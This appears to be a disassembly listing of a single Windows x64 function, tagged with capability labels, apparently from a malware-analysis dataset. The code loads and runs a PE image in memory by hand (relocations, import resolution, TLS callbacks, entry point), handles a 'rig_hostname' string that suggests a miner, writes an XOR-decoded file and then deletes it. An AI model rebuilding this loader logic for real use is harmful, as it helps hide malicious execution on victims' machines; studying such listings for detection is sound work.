Function at 0x4016cc
Capabilities:
Delete file
Get common file path
Get hostname
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
movups xmm0, xmmword [0x00bf825c]
lea rbx, [rsp + 0xa0]
movaps xmmword [rbx], xmm0
lea rsi, [rsp + 0x110]
and qword [rsi], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
mov r9, rsi
call sub.shell32.dll_SHGetKnownFolderPath
mov rcx, qword [rsi]
test eax, eax
jne 0x40277b
call sub.kernel32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rsp + 0x110]
lea rsi, [rsp + 0x50]
mov rcx, rsi
call fcn.0040d289
mov rcx, qword [rsp + 0x110]
call sub.ole32.dll_CoTaskMemFree
cmp byte [rsi + 0x18], 2
je 0x4027ac
lea rdi, [rsp + 0x50]
mov r12, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rsp + 0x158], rax
mov r14, qword [rdi + 0x10]
lea rax, [0x00419824]
mov qword [rsp + 0x28], rax
lea rax, [0x00419818]
mov qword [rsp + 0x20], rax
lea rdx, [0x00418800]
lea r9, [0x004197f8]
mov r8d, 0xff8
mov rcx, rdi
call fcn.004097be
mov rax, qword [rdi]
mov qword [rsp + 0x138], rax
test rax, rax
je 0x4027ac
lea rdi, [rsp + 0x50]
mov rax, qword [rdi + 8]
mov qword [rsp + 0x150], rax
mov r13, qword [rdi + 0x10]
lea rax, [0x00bf8080]
mov qword [rsp + 0x28], rax
lea rax, [0x00bf8074]
mov qword [rsp + 0x20], rax
lea rdx, [0x00419844]
lea r9, [0x00bf8054]
mov r8d, 0x7de810
mov rcx, rdi
call fcn.004097be
mov rax, qword [rdi]
mov qword [rsp + 0xd0], rax
test rax, rax
je 0x4027ac
lea rdi, [rsp + 0x50]
mov rsi, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0xc8], rax
mov rcx, rdi
mov rdx, r12
mov r8, r14
xor r9d, r9d
call fcn.0040d1a4
cmp qword [rdi], 0
mov qword [rsp + 0x98], r12
mov qword [rsp + 0x148], rsi
je 0x40196a
mov qword [rsp + 0x40], r13
mov rsi, qword [rsp + 0x58]
mov rcx, r14
call fcn.0040d3da
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rdx
and qword [rsp + 0xb0], 0
cmp rsi, r14
ja 0x4027ac
lea r8, [r12 + rsi]
lea r15, [rsp + 0xa0]
mov rcx, r15
mov rdx, r12
call fcn.004027fe
lea rbx, [0x00bf8620]
lea r13, [0x00bf8623]
mov rcx, r15
mov rdx, rbx
mov r8, r13
call fcn.004027fe
lea rbp, [rsp + 0x50]
mov rdi, rsi
add rdi, 3
mov rcx, rbp
mov rdx, r12
mov r8, r14
mov r9, rdi
call fcn.0040d1a4
cmp qword [rsp + 0x50], 0
je 0x401916
mov rsi, qword [rsp + 0x58]
cmp rdi, rsi
ja 0x4027ac
cmp rsi, r14
ja 0x4027ac
mov r12, qword [rsp + 0x98]
add rdi, r12
lea r8, [r12 + rsi]
mov rcx, r15
mov rdx, rdi
call fcn.004027fe
mov rcx, r15
mov rdx, rbx
mov r8, r13
call fcn.004027fe
jmp 0x4018b5
cmp rdi, r14
ja 0x4027ac
mov rax, qword [rsp + 0x98]
add rdi, rax
add r14, rax
lea r15, [rsp + 0xa0]
mov rcx, r15
mov rdx, rdi
mov r8, r14
call fcn.004027fe
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [r15]
movaps xmmword [rsp + 0xf0], xmm0
lea rbx, [rsp + 0xa0]
mov r13, qword [rsp + 0x40]
jmp 0x401983
mov qword [rsp + 0xf8], r12
mov qword [rsp + 0x100], r14
and qword [rsp + 0xf0], 0
call fcn.00401680
mov r15, rax
movabs rax, 0x2686146ee220e4f1
mov qword [r15], rax
mov dword [r15 + 8], 0x733c954
call fcn.00401680
mov r14, rax
movabs rax, 0x8e17d1c8f58caad
mov qword [r14], rax
mov dword [r14 + 8], 0x695cba3e
xor eax, eax
cmp rax, 0xc
je 0x4019d2
mov cl, byte [r15 + rax]
xor byte [r14 + rax], cl
inc rax
jmp 0x4019bf
lea rdi, [rsp + 0x50]
mov r8d, 0xc
mov rcx, rdi
mov rdx, r14
call fcn.00407e1f
cmp qword [rdi], 0
je 0x4019f9
cmp byte [rsp + 0x60], 2
jne 0x4027ac
mov edx, 0xc
mov rcx, r15
call fcn.00402c64
mov ecx, 0xc
call fcn.0040d3da
mov rcx, qword [r14]
mov qword [rax], rcx
mov ecx, dword [r14 + 8]
mov dword [rax + 8], ecx
lea rcx, [rsp + 0x180]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], 0xc
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xa0], rax
lea rax, [0x004016b9]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], rcx
lea rax, [0x00bf80a0]
lea rdi, [rsp + 0x50]
mov qword [rdi], rax
mov eax, 2
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
lea rcx, [0x004016a7]
mov qword [rsp + 0xb8], rcx
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], rax
xor ecx, ecx
call fcn.0040d3da
lea rcx, [rsp + 0x110]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
mov rdx, rdi
call fcn.00402b78
test al, al
jne 0x4027ac
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x130], rax
lea rdi, [rsp + 0x180]
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.00402c64
mov edx, 0xc
mov rcx, r14
call fcn.00402c64
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
call fcn.00401676
mov rax, qword [rsp + 0x138]
mov qword [rdi], rax
mov qword [rdi + 8], r13
lea r14, [rsp + 0x50]
mov rcx, r14
mov rdx, rdi
call fcn.00408365
mov rsi, qword [r14]
test rsi, rsi
je 0x401c17
mov r12, qword [rsp + 0x58]
cmp qword [rsp + 0x68], 0
je 0x401c21
mov rcx, r13
call fcn.0040d3da
lea rdi, [rsp + 0xa0]
mov qword [rdi], rax
mov qword [rdi + 8], rdx
and qword [rdi + 0x10], 0
add r12, rsi
mov rcx, rdi
mov rdx, rsi
mov r8, r12
call fcn.004027fe
lea rbx, [0x00bf8620]
lea r14, [0x00bf8623]
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.004027fe
movups xmm0, xmmword [rsp + 0x180]
lea r15, [rsp + 0x110]
movups xmmword [r15], xmm0
lea r12, [rsp + 0x50]
mov rcx, r12
mov rdx, r15
call fcn.00408365
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x401bfd
mov r8, qword [rsp + 0x58]
add r8, rdx
mov rsi, qword [rsp + 0x68]
mov rcx, rdi
call fcn.004027fe
test rsi, rsi
je 0x401bbe
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.004027fe
jmp 0x401bbe
mov r15, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
mov r12, qword [rsp + 0xb0]
jmp 0x401c24
lea rsi, [0x00bf82c0]
xor r12d, r12d
xor r15d, r15d
test r15, r15
mov rax, r15
cmove rax, rsi
mov qword [rsp + 0x48], rax
lea rdi, [rsp + 0x50]
and dword [rdi], 0
mov ecx, 5
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_GetComputerNameExW
mov edi, dword [rdi]
test rdi, rdi
je 0x4027ac
mov rcx, rdi
mov dl, 1
call fcn.0040cfbf
mov rbx, rax
mov r14, rdx
lea r8, [rsp + 0x50]
mov ecx, 5
mov rdx, rax
call sub.kernel32.dll_GetComputerNameExW
test eax, eax
je 0x4027ac
mov eax, dword [rsp + 0x50]
lea rcx, [rdi - 1]
cmp rcx, rax
jne 0x4027ac
lea rcx, [rdi + rdi]
xor eax, eax
mov qword [rsp + 0x170], r15
test rcx, rcx
je 0x401cb6
cmp word [rbx + rax*2], 0
je 0x401cb3
inc rax
add rcx, 0xfffffffffffffffe
jmp 0x401c9e
mov rdi, rax
mov qword [rsp + 0x178], rsi
lea r15, [rsp + 0xa0]
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.0040d289
mov rcx, rbx
mov rdx, r14
call fcn.0040d538
lea rdi, [rsp + 0x50]
mov rcx, rdi
mov rdx, r15
call fcn.0040ed59
cmp byte [rdi + 0x18], 2
jne 0x4027ac
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x88], rax
mov rdi, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x50], 1
xor ecx, ecx
call fcn.00408202
mov r14, rax
mov rbp, rdx
mov cl, 1
call fcn.00408202
mov rbx, rax
mov rsi, rdx
cmp r14, rax
cmova rbx, r14
cmova rsi, rbp
cmp rbx, 0xd
jae 0x4027ac
mov rax, rsi
add rax, rbx
jb 0x4027ac
cmp rax, 0xc
ja 0x4027ac
mov qword [rsp + 0x168], rdi
lea r14, str.rig_hostname
lea r8, [r14 + rsi]
mov rcx, r14
mov rdx, rbx
mov r9, rbx
call fcn.00407ba4
test al, al
mov qword [rsp + 0x40], rbx
je 0x401dc8
xor r15d, r15d
mov rcx, rsi
xor edx, edx
call fcn.00408294
mov rcx, rsi
mov dl, 1
call fcn.00408294
mov rax, rsi
mov ecx, 0
mov edi, 0
test rsi, rsi
mov r9, qword [rsp + 0x48]
jne 0x401deb
jmp 0x401e02
mov esi, 0xc
sub rsi, rbx
cmp rbx, rsi
cmova rsi, rbx
mov eax, 0xc
inc rsi
mov r15, 0xffffffffffffffff
mov r9, qword [rsp + 0x48]
xor edi, edi
xor ecx, ecx
mov dl, byte [rcx + r14]
bts rdi, rdx
inc rcx
cmp rax, rcx
jne 0x401def
mov rcx, rsi
lea rax, [r9 + r12]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x90]
add rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov eax, 0xc
mov qword [rsp + 0xe8], rcx
sub rax, rcx
mov qword [rsp + 0x140], rax
lea rax, [r9 - 1]
mov qword [rsp + 0xe0], rax
xor edx, edx
mov rbp, r15
mov rsi, rdx
mov rcx, qword [rsp + 0x40]
cmp rcx, rbp
mov rax, rbp
cmova rax, rcx
cmp r15, 0xffffffffffffffff
cmove rax, rcx
mov ecx, 0
cmovne rcx, rbp
lea r8, [rsi + 0xb]
cmp r8, r12
jae 0x401f97
movzx r8d, byte [r9 + r8]
bt rdi, r8
jae 0x401ecf
lea r8, [r9 + rsi]
mov r10, rax
cmp r10, 0xc
jae 0x401ede
mov r9, r10
add r10, rsi
cmp r10, r12
jae 0x4027ac
lea r10, [r9 + 1]
mov r11b, byte [r9 + r14]
cmp r11b, byte [r8 + r9]
je 0x401e91
sub rsi, qword [rsp + 0x40]
add rsi, r9
inc rsi
cmp r15, 0xffffffffffffffff
mov r9, qword [rsp + 0x48]
je 0x401e72
jmp 0x401f90
add rsi, 0xc
cmp r15, 0xffffffffffffffff
je 0x401e72
jmp 0x401f90
mov r9, qword [rsp + 0xe0]
add r9, rsi
lea r10, [rsi - 1]
mov r11, qword [rsp + 0x40]
cmp rcx, r11
jae 0x401f44
cmp r11, 0xc
ja 0x4027ac
lea r13, [r10 + r11]
cmp r13, r12
jae 0x4027ac
mov r13b, byte [r11 + r14 - 1]
lea rbx, [r11 - 1]
cmp r13b, byte [r9 + r11]
mov r11, rbx
je 0x401ef2
add rsi, qword [rsp + 0xe8]
cmp r15, 0xffffffffffffffff
mov r9, qword [rsp + 0x48]
je 0x401e72
mov rbp, qword [rsp + 0x140]
jmp 0x401e52
add rsi, 0xc
cmp r15, 0xffffffffffffffff
mov eax, 0
cmovne rbp, rax
mov rbx, qword [rsp + 0x48]
add rdx, rbx
lea r15, [rsp + 0x50]
mov rcx, r15
call fcn.004027fe
mov rcx, r15
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
call fcn.004027fe
mov r9, rbx
mov r15, rbp
mov rdx, rsi
jmp 0x401e52
xor ebp, ebp
jmp 0x401e52
add r9, rdx
lea rdi, [rsp + 0x50]
mov rcx, rdi
mov rdx, r9
mov r8, qword [rsp + 0x160]
call fcn.004027fe
mov r14, qword [rdi]
mov rbx, qword [rdi + 8]
mov r15, qword [rdi + 0x10]
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x168]
call fcn.00402c64
mov rcx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
call fcn.00401676
mov rsi, qword [rsp + 0x130]
mov rcx, rsi
call fcn.0040d3da
mov r12, rax
mov rbp, rdx
mov rcx, rax
mov rdx, qword [rsp + 0xd8]
mov r8, rsi
call sub.ntdll.dll_memcpy
lea rdi, [rsp + 0x50]
mov rcx, rdi
mov rdx, r12
mov r8, rsi
call fcn.0040edc3
mov rdi, qword [rdi]
test rdi, rdi
je 0x4020e3
mov qword [rsp + 0x40], rbp
mov rsi, rbx
mov rbx, qword [rsp + 0x58]
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
mov rcx, rdi
mov edx, 0x40000000
mov r8d, 7
xor r9d, r9d
call sub.kernel32.dll_CreateFileW
mov rbp, rax
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x402079
call fcn.0040d522
mov r13, rax
mov rcx, rdi
mov rdx, rbx
call fcn.0040d538
cmp rbp, 0xffffffffffffffff
je 0x4020ea
lea rbx, [rsp + 0x50]
mov rdi, r14
test r15, r15
je 0x4020ef
mov rcx, rbx
mov rdx, r13
mov r8, rdi
mov r9, r15
call fcn.0040d9c1
cmp qword [rsp + 0x50], 0
je 0x4020cb
mov rbp, qword [rsp + 0x58]
mov rcx, rbp
call fcn.0040d75d
test al, al
je 0x4020fa
mov rcx, rbp
call fcn.0040d0ed
jmp 0x402092
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x4020f3
sub r15, rax
jb 0x4027ac
add rdi, rax
jmp 0x402092
mov r13, qword [rsp + 0x58]
jmp 0x40210d
mov rbx, rsi
jmp 0x402108
xor ebp, ebp
jmp 0x4020fa
lea rbp, str.failed_to_write_whole_buffer
mov rbx, rsi
mov rcx, r13
call sub.kernel32.dll_CloseHandle
mov r13, rbp
mov rbp, qword [rsp + 0x40]
mov rcx, r14
mov rdx, rbx
call fcn.00402c64
mov rcx, r12
mov rdx, rbp
call fcn.00402c64
test r13, r13
jne 0x4027ac
mov r15, qword [rsp + 0xd0]
cmp word [r15], 0x5a4d
mov r14, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xc8]
jne 0x4027ac
mov eax, dword [r15 + 0x3c]
test eax, eax
je 0x4027ac
cmp eax, 0x40
jb 0x4027ac
movsxd r13, eax
cmp rdx, r13
jb 0x4027ac
movzx eax, word [r13 + r15 + 0x18]
cmp eax, 0x20b
je 0x4021ba
cmp eax, 0x10b
jne 0x4027ac
cmp dword [r15 + r13], 0x4550
jne 0x4027ac
lea rbx, [r15 + r13]
cmp word [rbx + 4], 0x14c
jne 0x4027ac
test byte [rbx + 0x16], 2
je 0x4027ac
mov ecx, 0xf8
xor eax, eax
jmp 0x4021ec
cmp dword [r15 + r13], 0x4550
jne 0x4027ac
lea rbx, [r15 + r13]
cmp word [rbx + 4], 0x8664
jne 0x4027ac
test byte [rbx + 0x16], 2
je 0x4027ac
mov eax, 1
mov ecx, 0x108
add r13, rcx
sub rdx, r13
jb 0x4027ac
movzx ecx, word [rbx + 6]
mov qword [rsp + 0x48], rcx
imul rcx, rcx, 0x28
cmp rcx, rdx
ja 0x4027ac
test rax, rax
je 0x4027ac
test byte [rbx + 0x17], 0x20
jne 0x4027ac
cmp dword [rbx + 0xfc], 0
je 0x402237
cmp dword [rbx + 0xf8], 0
jne 0x4027ac
mov r12d, dword [rbx + 0x28]
test r12, r12
je 0x4027ac
mov rax, qword [rbx + 0x30]
lea rcx, [rsp + 0x80]
mov qword [rcx], rax
mov eax, dword [rbx + 0x50]
lea rdx, [rsp + 0xf0]
mov qword [rdx], rax
call fcn.0040ad95
cmp eax, 0xb
je 0x40228d
lea rcx, [rsp + 0x80]
and qword [rcx], 0
lea rdx, [rsp + 0xf0]
call fcn.0040ad95
cmp eax, 0xb
jne 0x4026b0
lea rdx, [r15 + r13]
mov rcx, qword [rsp + 0x48]
movzx eax, cl
shr ecx, 8
imul rsi, rcx, 0x2800
imul rax, rax, 0x28
mov qword [rsp + 0xe8], rax
add rsi, rax
mov qword [rsp + 0x90], rdx
mov rax, rdx
test rsi, rsi
je 0x4022e9
lea rdi, [rax + 0x28]
mov edx, dword [rax + 0x14]
add rdx, r15
mov ecx, dword [rax + 0xc]
mov r8d, dword [rax + 0x10]
add rcx, qword [rsp + 0x80]
call sub.ntdll.dll_memcpy
add rsi, 0xffffffffffffffd8
mov rax, rdi
jmp 0x4022bd
mov r14, qword [rsp + 0x80]
mov rcx, r14
sub rcx, qword [rbx + 0x30]
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0x88], r13
je 0x4023a1
mov eax, dword [rbx + 0xb0]
test eax, eax
je 0x4023a1
cmp dword [rbx + 0xb4], 0
je 0x4023a1
mov r8d, 2
xor r9d, r9d
mov r11, r14
mov esi, eax
lea r10, [r11 + rsi]
mov eax, dword [r11 + rsi + 4]
test rax, rax
jne 0x402347
cmp dword [r10], 0
je 0x402399
add rax, 0xfffffffffffffff8
cqo
idiv r8
test rax, rax
cmovle rax, r9
lea rdx, [r11 + rsi]
add rdx, 8
xor r11d, r11d
cmp rax, r11
je 0x402390
movzx esi, word [rdx + r11*2]
mov edi, esi
and edi, 0xf000
cmp di, 0xa000
jne 0x40238b
mov edi, dword [r10]
and esi, 0xfff
add rsi, rdi
add qword [r14 + rsi], rcx
inc r11
jmp 0x402362
mov eax, dword [r10 + 4]
mov r11, r10
jmp 0x402331
mov r14, qword [rsp + 0x80]
mov qword [rsp + 0xe0], rbx
cmp dword [rbx + 0x94], 0
je 0x4024f8
mov rax, qword [rsp + 0xe0]
mov r13d, dword [rax + 0x90]
test r13d, r13d
je 0x4024f8
add r13, r14
lea r12, [r14 + 2]
lea rdi, [rsp + 0x50]
lea rbx, [rsp + 0xa0]
mov qword [rsp + 0x40], r14
mov ecx, dword [r13 + 0xc]
test rcx, rcx
jne 0x402410
cmp dword [r13 + 0x10], 0
jne 0x402410
cmp dword [r13], 0
jne 0x402410
cmp dword [r13 + 4], 0
jne 0x402410
cmp dword [r13 + 8], 0
je 0x4024f8
add rcx, r14
call fcn.0040ae51
mov r8, rdx
mov rcx, rdi
mov rdx, rax
call fcn.00407e17
cmp qword [rsp + 0x50], 0
jne 0x4027ac
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
mov rcx, rdi
call fcn.0040ac60
cmp dword [rsp + 0x50], 0
jne 0x4027ac
mov r15, qword [rsp + 0x58]
mov eax, dword [r13]
mov esi, dword [r13 + 0x10]
add rsi, r14
add r14, rax
test rax, rax
cmove r14, rsi
xor ebp, ebp
mov rcx, qword [r14 + rbp]
test rcx, rcx
je 0x4024ea
js 0x4024cc
cmp byte [r12 + rcx], 0
je 0x4024ea
add rcx, r12
call fcn.0040ae51
mov r8, rdx
mov rcx, rdi
mov rdx, rax
call fcn.00407e17
cmp qword [rsp + 0x50], 0
jne 0x4027ac
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov rcx, rbx
mov rdx, r15
call fcn.0040ad0d
cmp dword [rsp + 0xa0], 0
jne 0x4027ac
mov rax, qword [rsp + 0xa8]
jmp 0x4024e0
movzx edx, cx
mov rcx, r15
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x4027ac
mov qword [rsi + rbp], rax
add rbp, 8
jmp 0x40246b
add r13, 0x14
mov r14, qword [rsp + 0x40]
jmp 0x4023e7
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x88]
lea rdi, [rax + rcx]
add rdi, 0x24
mov rax, qword [rsp + 0x48]
shr eax, 8
imul rsi, rax, 0x2800
add rsi, qword [rsp + 0xe8]
xor ebx, ebx
lea r12, [rsp + 0x110]
lea r13, [rsp + 0x180]
mov r15, qword [rsp + 0x90]
cmp rsi, rbx
je 0x40264b
mov eax, dword [r15 + 0x10]
mov qword [rsp + 0x180], rax
test rax, rax
je 0x40263e
mov eax, dword [rdi + rbx - 0x18]
add rax, qword [rsp + 0x80]
mov qword [rsp + 0x110], rax
mov eax, dword [rdi + rbx]
bt eax, 0x1d
jb 0x402593
mov ebp, 1
bt eax, 0x1e
jae 0x4025a9
shr eax, 0x1f
lea ebp, [rax*2 + 2]
jmp 0x4025a9
mov ebp, 0x10
bt eax, 0x1e
jae 0x4025a9
shr eax, 0x1a
and eax, 0xffffffe0
add eax, 0x20
mov ebp, eax
mov r14, qword [0x00bfc038]
test r14, r14
jne 0x402613
mov r8d, 9
lea rcx, [rsp + 0x50]
lea rdx, [0x00bf827c]
call fcn.0040ac60
cmp dword [rsp + 0x50], 0
jne 0x4027ac
mov rdx, qword [rsp + 0x58]
mov r9d, 0x16
lea rcx, [rsp + 0xa0]
lea r8, [0x00bf829c]
call fcn.0040ad0d
cmp dword [rsp + 0xa0], 0
jne 0x4027ac
mov r14, qword [rsp + 0xa8]
mov qword [0x00bfc038], r14
and dword [rsp + 0x50], 0
call sub.kernel32.dll_GetCurrentProcess
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rdx, r12
mov r8, r13
mov r9d, ebp
call r14
test eax, eax
jne 0x4027ac
add r15, 0x28
add rbx, 0x28
jmp 0x402541
mov rdi, qword [rsp + 0x80]
mov rax, qword [rsp + 0xe0]
cmp dword [rax + 0xd4], 0
je 0x4026ba
mov eax, dword [rax + 0xd0]
test eax, eax
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xc8]
je 0x4026d2
mov rsi, qword [rdi + rax + 0x18]
mov rax, qword [rsi]
test rax, rax
je 0x4026a6
mov rcx, rdi
mov edx, 1
xor r8d, r8d
call rax
add rsi, 8
jmp 0x40268b
mov rdi, qword [rsp + 0x80]
jmp 0x4026d2
cmp eax, 0xe
je 0x4026d7
jmp 0x4027ac
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xc8]
add rdi, rbx
call rdi
lea rdi, [rsp + 0x50]
mov rcx, rdi
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0x130]
call fcn.0040edc3
mov rdi, qword [rdi]
test rdi, rdi
je 0x402797
mov rbx, qword [rsp + 0x58]
mov rcx, rdi
call sub.kernel32.dll_DeleteFileW
test eax, eax
je 0x402787
mov rcx, rdi
mov rdx, rbx
call fcn.0040d538
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x128]
call fcn.00402c64
mov rcx, r15
mov rdx, qword [rsp + 0x148]
call fcn.00402c64
mov rcx, qword [rsp + 0x138]
mov rdx, qword [rsp + 0x150]
call fcn.00402c64
mov rcx, r14
mov rdx, qword [rsp + 0x158]
call fcn.00402c64
nop
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call sub.ole32.dll_CoTaskMemFree
mov byte [rsp + 0x68], 2
jmp 0x4027ac
call fcn.0040d522
mov rcx, rdi
mov rdx, rbx
call fcn.0040d538
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x128]
call fcn.00402c64
ud2